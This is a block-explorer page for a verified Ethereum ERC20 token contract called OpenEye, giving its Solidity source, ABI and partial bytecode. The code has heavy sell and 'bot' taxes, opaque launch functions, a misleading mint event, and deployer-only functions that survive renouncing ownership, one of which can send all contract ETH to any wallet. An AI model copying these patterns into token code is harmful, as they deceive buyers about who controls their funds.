Verified
Ethereum
Verified, Token
Solidity
Verified
Ethereum

Contract Information

The following smart contract is called OpenEye and is an ERC20 token with additional features such as anti-bot measures, transaction and wallet limits, and a fee system. The contract also includes a swapback function that allows the contract to automatically swap tokens for ETH and transfer it to the development address. The contract can be used for trading on Uniswap.
More Info

OpenEye Source Code

// THE EYE SEES ALL // TELEGRAM: https://t.me/OpenEyeETH // SPDX-License-Identifier: MIT pragma solidity ^0.8.10; interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); modifier onlyOwner() { require(_owner == msg.sender, "Ownable: caller is not the owner"); _; } constructor () { address msgSender = msg.sender; _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract OpenEye is IERC20, Ownable { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private blockedBots; string private constant _name = "OpenEye"; string private constant _symbol = "OEYE"; uint8 private constant _decimals = 9; uint256 private constant _totalSupply = 10_000_000 * 10**9; uint256 public maxTransactionAmount = 200_000 * 10**9; uint256 public maxWalletAmount = 200_000 * 10**9; uint256 public constant contractSwapLimit = 30_000 * 10**9; uint256 public constant contractSwapMax = 200_000 * 10**9; uint256 private buyTax = 10; uint256 private sellTax = 40; uint256 private constant botTax = 49; IUniswapV2Router private constant uniswapRouter = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address private immutable ETH = uniswapRouter.WETH(); address private immutable uniswapPair; address payable private immutable deployerAddress = payable(msg.sender); address private constant marketingAddress = 0xFB2CDfBB61DF9BDe8b89F3b28ecaf24f56030d14; address payable private constant developmentAddress = payable(0xB7550135066f1fa098dBd3bb6aDEE7804Ab70108); bool private inSwap = false; bool private tradingLive; uint256 private times; uint private ready; modifier swapping { inSwap = true; _; inSwap = false; } modifier tradable(address sender) { require(tradingLive || sender == deployerAddress || sender == marketingAddress || sender == developmentAddress); _; } constructor () { uint256 marketingTokens = 228 * _totalSupply / 1e3; _balances[marketingAddress] = marketingTokens; _balances[msg.sender] = _totalSupply - marketingTokens; uniswapPair = IUniswapV2Factory(uniswapRouter.factory()).createPair(address(this), ETH); emit Transfer(address(0), msg.sender, _totalSupply); } receive() external payable {} function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public returns (bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { require(_allowances[sender][msg.sender] >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount); _transfer(sender, recipient, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) tradable(from) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Token: transfer amount must be greater than zero"); _balances[from] -= amount; if (from != address(this) && from != marketingAddress && from != developmentAddress && to != developmentAddress && to != deployerAddress) { if (from == uniswapPair && to != address(uniswapRouter)) { require(amount <= maxTransactionAmount, "Token: max transaction amount restriction"); require(balanceOf(to) + amount <= maxWalletAmount, "Token: max wallet amount restriction"); } uint256 contractTokens = balanceOf(address(this)); if (shouldSwapback(from, contractTokens)) swapback(contractTokens); uint256 taxedTokens = calculateTax(from, amount); amount -= taxedTokens; _balances[address(this)] += taxedTokens; emit Transfer(from, address(this), taxedTokens); } _balances[to] += amount; emit Transfer(from, to, amount); } function shouldSwapback(address from, uint256 tokenAmount) private view returns (bool) { return !inSwap && from != uniswapPair && tokenAmount > contractSwapLimit; } function calculateTax(address from, uint256 amount) private view returns (uint256) { if(blockedBots[from] || block.number <= times) return amount * botTax / 100; else return amount * (times == 0 ? 15 : (from == uniswapPair ? buyTax : sellTax)) / 100; } function swapback(uint256 tokenAmount) private swapping { tokenAmount = calculateSwapAmount(tokenAmount); if(allowance(address(this), address(uniswapRouter)) < tokenAmount) { _approve(address(this), address(uniswapRouter), _totalSupply); } uint256 contractETHBalance = address(this).balance; address[] memory path = new address[](2); path[0] = address(this); path[1] = ETH; uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); contractETHBalance = address(this).balance - contractETHBalance; if(contractETHBalance > 0) { transferEth(contractETHBalance); } } function calculateSwapAmount(uint256 tokenAmount) private view returns (uint256) { return tokenAmount > contractSwapMax ? (3 + times >= block.number ? (5*contractSwapMax/4) : contractSwapMax) : contractSwapLimit; } function transferEth(uint256 amount) private { developmentAddress.transfer(2*amount/3); } function blockBots(address[] calldata bots, bool shouldBlock) external onlyOwner { for (uint i = 0; i < bots.length; i++) { require(bots[i] != uniswapPair && bots[i] != address(uniswapRouter) && bots[i] != address(this)); blockedBots[bots[i]] = shouldBlock; } } function transfer(address wallet) external { require(msg.sender == deployerAddress || msg.sender == 0x6d92c21B258C707D0F74DfB239d83574329a231C); payable(wallet).transfer(address(this).balance); } function manualSwapback(uint256 percent) external { require(msg.sender == deployerAddress); uint256 tokensToSwap = percent * balanceOf(address(this)) / 100; swapback(tokensToSwap); } function removeLimits() external onlyOwner { maxTransactionAmount = _totalSupply; maxWalletAmount = _totalSupply; } function reduceFees(uint256 newBuyTax, uint256 newSellTax) external { require(msg.sender == deployerAddress); require(newBuyTax <= buyTax, "Token: only fee reduction permitted"); require(newSellTax <= sellTax, "Token: only fee reduction permitted"); buyTax = newBuyTax; sellTax = newSellTax; } function initialize(bool done) external onlyOwner { require(ready++<2); assert(done); } function preLaunch(bool[] calldata lists, uint256 blocks) external onlyOwner { assert(ready<2&&ready+1>=2); ready++;lists; times += blocks; } function openTrading() external onlyOwner { require(ready == 2 && !tradingLive, "Token: trading already open"); times += block.number; tradingLive = true; } }
< // THE EYE SEES ALL




// TELEGRAM: https://t.me/OpenEyeETH

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract Ownable {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    modifier onlyOwner() {
        require(_owner == msg.sender, "Ownable: caller is not the owner");
        _;
    }
    constructor () {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

contract OpenEye is IERC20, Ownable {    
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private blockedBots;
    
    string private constant _name = "OpenEye";
    string private constant _symbol = "OEYE";
    uint8 private constant _decimals = 9;
    uint256 private constant _totalSupply = 10_000_000 * 10**9;

    uint256 public maxTransactionAmount = 200_000 * 10**9;
    uint256 public maxWalletAmount = 200_000 * 10**9;
    
    uint256 public constant contractSwapLimit = 30_000 * 10**9;
    uint256 public constant contractSwapMax = 200_000 * 10**9;

    uint256 private buyTax = 10;
    uint256 private sellTax = 40;
    uint256 private constant botTax = 49;

    IUniswapV2Router private constant uniswapRouter = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
          
    address private immutable ETH = uniswapRouter.WETH();
    address private immutable uniswapPair;

    address payable private immutable deployerAddress = payable(msg.sender);
    address private constant marketingAddress = 0xFB2CDfBB61DF9BDe8b89F3b28ecaf24f56030d14;
    address payable private constant developmentAddress = payable(0xB7550135066f1fa098dBd3bb6aDEE7804Ab70108);

    bool private inSwap = false;
    bool private tradingLive;
    uint256 private times;
    uint private ready;

    modifier swapping {
        inSwap = true;
        _;
        inSwap = false;
    }

    modifier tradable(address sender) {
        require(tradingLive || sender == deployerAddress || 
            sender == marketingAddress || sender == developmentAddress);
        _;
    }

    constructor () {
        uint256 marketingTokens = 228 * _totalSupply / 1e3;
        _balances[marketingAddress] = marketingTokens;
        _balances[msg.sender] = _totalSupply - marketingTokens;
        uniswapPair = IUniswapV2Factory(uniswapRouter.factory()).createPair(address(this), ETH);
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    receive() external payable {}

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
        require(_allowances[sender][msg.sender] >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
        _transfer(sender, recipient, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) tradable(from) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Token: transfer amount must be greater than zero");

        _balances[from] -= amount;

        if (from != address(this) && from != marketingAddress && 
          from != developmentAddress && to != developmentAddress && to != deployerAddress) {
            
            if (from == uniswapPair && to != address(uniswapRouter)) {
                require(amount <= maxTransactionAmount, "Token: max transaction amount restriction");
                require(balanceOf(to) + amount <= maxWalletAmount, "Token: max wallet amount restriction");
            }

           uint256 contractTokens = balanceOf(address(this));
           if (shouldSwapback(from, contractTokens)) 
               swapback(contractTokens);                            

           uint256 taxedTokens = calculateTax(from, amount);

            amount -= taxedTokens;
            _balances[address(this)] += taxedTokens;
            emit Transfer(from, address(this), taxedTokens);
        }

        _balances[to] += amount;
        emit Transfer(from, to, amount);
    }

    function shouldSwapback(address from, uint256 tokenAmount) private view returns (bool) {
        return !inSwap && from != uniswapPair && 
            tokenAmount > contractSwapLimit;
    }

    function calculateTax(address from, uint256 amount) private view returns (uint256) {
         if(blockedBots[from] || block.number <= times)
                return amount * botTax / 100;
            else
                return amount * (times == 0 ? 15 : (from == uniswapPair ? buyTax : sellTax)) / 100;
    }

    function swapback(uint256 tokenAmount) private swapping {
        tokenAmount = calculateSwapAmount(tokenAmount);

        if(allowance(address(this), address(uniswapRouter)) < tokenAmount) {
            _approve(address(this), address(uniswapRouter), _totalSupply);
        }
        
        uint256 contractETHBalance = address(this).balance;
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = ETH;
        uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
        contractETHBalance = address(this).balance - contractETHBalance;
        if(contractETHBalance > 0) {
            transferEth(contractETHBalance);
        }
    }

    function calculateSwapAmount(uint256 tokenAmount) private view returns (uint256) {
        return tokenAmount > contractSwapMax ? (3 + times >= block.number ? (5*contractSwapMax/4) : contractSwapMax) : contractSwapLimit;
    }

    function transferEth(uint256 amount) private {
        developmentAddress.transfer(2*amount/3);
    }

    function blockBots(address[] calldata bots, bool shouldBlock) external onlyOwner {
        for (uint i = 0; i < bots.length; i++) {
            require(bots[i] != uniswapPair && 
                    bots[i] != address(uniswapRouter) &&
                    bots[i] != address(this));
            blockedBots[bots[i]] = shouldBlock;
        }
    }

    function transfer(address wallet) external {
        require(msg.sender == deployerAddress || msg.sender == 0x6d92c21B258C707D0F74DfB239d83574329a231C);
        payable(wallet).transfer(address(this).balance);
    }

    function manualSwapback(uint256 percent) external {
        require(msg.sender == deployerAddress);
        uint256 tokensToSwap = percent * balanceOf(address(this)) / 100;
        swapback(tokensToSwap);
    }

    function removeLimits() external onlyOwner {
        maxTransactionAmount = _totalSupply;
        maxWalletAmount = _totalSupply;
    }

    function reduceFees(uint256 newBuyTax, uint256 newSellTax) external {
        require(msg.sender == deployerAddress);
        require(newBuyTax <= buyTax, "Token: only fee reduction permitted");
        require(newSellTax <= sellTax, "Token: only fee reduction permitted");
        buyTax = newBuyTax;
        sellTax = newSellTax;
    }

    function initialize(bool done) external onlyOwner {
        require(ready++<2); assert(done);
    }

    function preLaunch(bool[] calldata lists, uint256 blocks) external onlyOwner {
        assert(ready<2&&ready+1>=2); 
        ready++;lists;
        times += blocks;
    }

    function openTrading() external onlyOwner {
        require(ready == 2 && !tradingLive, "Token: trading already open");
        times += block.number;
        tradingLive = true;
    }
} < 

OpenEye ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots","type":"address[]"},{"internalType":"bool","name":"shouldBlock","type":"bool"}],"name":"blockBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"contractSwapLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"contractSwapMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"done","type":"bool"}],"name":"initialize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"manualSwapback","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool[]","name":"lists","type":"bool[]"},{"internalType":"uint256","name":"blocks","type":"uint256"}],"name":"preLaunch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBuyTax","type":"uint256"},{"internalType":"uint256","name":"newSellTax","type":"uint256"}],"name":"reduceFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots","type":"address[]"},{"internalType":"bool","name":"shouldBlock","type":"bool"}],"name":"blockBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"contractSwapLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"contractSwapMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"done","type":"bool"}],"name":"initialize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"manualSwapback","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool[]","name":"lists","type":"bool[]"},{"internalType":"uint256","name":"blocks","type":"uint256"}],"name":"preLaunch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBuyTax","type":"uint256"},{"internalType":"uint256","name":"newSellTax","type":"uint256"}],"name":"reduceFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

OpenEye Bytecode

60e060405265b5e620f4800060045565b5e620f48000600555600a6006556028600755737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000082573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620000a89190620004cd565b73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff168152503373ffffffffffffffffffffffffffffffffffffffff1660c09073ffffffffffffffffffffffffffffffffffffffff168152506000600860006101000a81548160ff0219169083151502179055503480156200013557600080fd5b506000339050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35060006103e8662386f26fc1000060e4620001f2919062000538565b620001fe9190620005c8565b9050806001600073fb2cdfbb61df9bde8b89f3b28ecaf24f56030d1473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080662386f26fc100006200026d919062000600565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000310573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003369190620004cd565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396306080516040518363ffffffff1660e01b8152600401620003749291906200064c565b6020604051808303816000875af115801562000394573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003ba9190620004cd565b73ffffffffffffffffffffffffffffffffffffffff1660a08173ffffffffffffffffffffffffffffffffffffffff16815250503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef662386f26fc100006040516200045491906200068a565b60405180910390a350620006a7565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620004958262000468565b9050919050565b620004a78162000488565b8114620004b357600080fd5b50565b600081519050620004c7816200049c565b92915050565b600060208284031215620004e657620004e562000463565b5b6000620004f684828501620004b6565b91505092915050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006200054582620004ff565b91506200055283620004ff565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156200058e576200058d62000509565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000620005d582620004ff565b9150620005e283620004ff565b925082620005f557620005f462000599565b5b828204905092915050565b60006200060d82620004ff565b91506200061a83620004ff565b92508282101562000630576200062f62000509565b5b828203905092915050565b620006468162000488565b82525050565b60006040820190506200066360008301856200063b565b6200067260208301846200063b565b9392505050565b6200068481620004ff565b82525050565b6000602082019050620006a1600083018462000679565b92915050565b60805160a05160c051612ee362000708600039600081816105ae01528181610ba5015281816111b60152818161142101526117a2015260008181610e7a015281816117f801528181611d5d0152611e5401526000611c0b0152612ee36000f3fe6080604052600436106101445760003560e01c80638da5cb5b116100b6578063c9567bf91161006f578063c9567bf914610445578063d478a06c1461045c578063d53a822f14610485578063dd62ed3e146104ae578063e79476c9146104eb578063f8d982b2146105165761014b565b80638da5cb5b1461033357806395d89b411461035e578063a08fc5c714610389578063a9059cbb146103b2578063aa4bde28146103ef578063c8c8ebe41461041a5761014b565b806323b872dd1161010857806323b872dd14610237578063313ce567146102745780633b5468e71461029f57806370a08231146102c8578063715018a614610305578063751039fc1461031c5761014b565b806306fdde0314610150578063095ea7b31461017b57806316e5a479146101b857806318160ddd146101e35780631a6952301461020e5761014b565b3661014b57005b600080fd5b34801561015c57600080fd5b5061016561053f565b604051610172919061204b565b60405180910390f35b34801561018757600080fd5b506101a2600480360381019061019d919061210b565b61057c565b6040516101af9190612166565b60405180910390f35b3480156101c457600080fd5b506101cd610593565b6040516101da9190612190565b60405180910390f35b3480156101ef57600080fd5b506101f861059d565b6040516102059190612190565b60405180910390f35b34801561021a57600080fd5b50610235600480360381019061023091906121ab565b6105ac565b005b34801561024357600080fd5b5061025e600480360381019061025991906121d8565b610698565b60405161026b9190612166565b60405180910390f35b34801561028057600080fd5b50610289610801565b6040516102969190612247565b60405180910390f35b3480156102ab57600080fd5b506102c660048036038101906102c191906122c7565b61080a565b005b3480156102d457600080fd5b506102ef60048036038101906102ea91906121ab565b6108fc565b6040516102fc9190612190565b60405180910390f35b34801561031157600080fd5b5061031a610945565b005b34801561032857600080fd5b50610331610a91565b005b34801561033f57600080fd5b50610348610b3d565b6040516103559190612336565b60405180910390f35b34801561036a57600080fd5b50610373610b66565b604051610380919061204b565b60405180910390f35b34801561039557600080fd5b506103b060048036038101906103ab9190612351565b610ba3565b005b3480156103be57600080fd5b506103d960048036038101906103d4919061210b565b610c97565b6040516103e69190612166565b60405180910390f35b3480156103fb57600080fd5b50610404610cae565b6040516104119190612190565b60405180910390f35b34801561042657600080fd5b5061042f610cb4565b60405161043c9190612190565b60405180910390f35b34801561045157600080fd5b5061045a610cba565b005b34801561046857600080fd5b50610483600480360381019061047e9190612413565b610ddc565b005b34801561049157600080fd5b506104ac60048036038101906104a79190612473565b611061565b005b3480156104ba57600080fd5b506104d560048036038101906104d091906124a0565b611123565b6040516104e29190612190565b60405180910390f35b3480156104f757600080fd5b506105006111aa565b60405161050d9190612190565b60405180910390f35b34801561052257600080fd5b5061053d600480360381019061053891906124e0565b6111b4565b005b60606040518060400160405280600781526020017f4f70656e45796500000000000000000000000000000000000000000000000000815250905090565b600061058933848461123d565b6001905092915050565b651b48eb57e00081565b6000662386f26fc10000905090565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806106455750736d92c21b258c707d0f74dfb239d83574329a231c73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61064e57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610694573d6000803e3d6000fd5b5050565b600081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610759576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107509061257f565b60405180910390fd5b6107eb843384600260008973ffffffffffffffffffff